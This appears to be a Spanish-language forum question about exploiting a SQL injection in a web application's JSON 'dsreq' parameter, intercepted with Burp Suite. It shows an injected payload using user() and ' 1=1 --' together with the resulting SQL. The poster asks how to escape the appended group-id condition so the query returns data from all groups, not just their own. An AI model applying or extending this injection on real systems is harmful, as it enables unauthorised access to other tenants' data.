Tengo una aplicación web vulnerable a las inyecciones de SQL. Estoy usando BurpSuite para interceptar las solicitudes. Más específicamente, la siguiente variable de datos es vulnerable. Agregué mis propios datos a los agregados y filtros:
data=[{
"params": {
"dsreq": "{
\"version\":1,
\"type\":\"SQL\",
\"limit\":500,
\"aggregates\":[
{\"expr\":\"user()\"}
],
\"partitions\":[],
\"filters\":[\" 1=1 --\"],
\"having\":[],
\"dataset_id\":3}"
}
}
]
Esta carga útil devuelve la siguiente declaración SQL:
SELECT 'portal' user() FROM active_tab tab_0 WHERE (TRUE) AND ((TA_0.grp_id) = 'sqlgrp1')
La clave de agregados en JSON corresponde a la sección de columnas de la declaración SQL y los filtros corresponden a la condición.
Esto recupera algunos datos de la base de datos, pero solo devuelve datos de mi grupo. Observe cómo la cláusula where incluye 'TRUE' (mi declaración 1 = 1), pero luego la aplicación se agrega entre paréntesis y una instrucción AND adicional. Mi objetivo es evitar eso para poder obtener datos de todos los grupos. Mi ID de grupo es sqlgrp1.
¿Cómo puedo engañar al filtro para que detenga la ejecución de la cláusula WHERE después de la condición VERDADERA o no ejecuto la cláusula WHERE? Donde se agrega la condición si la clave de los filtros se deja vacía.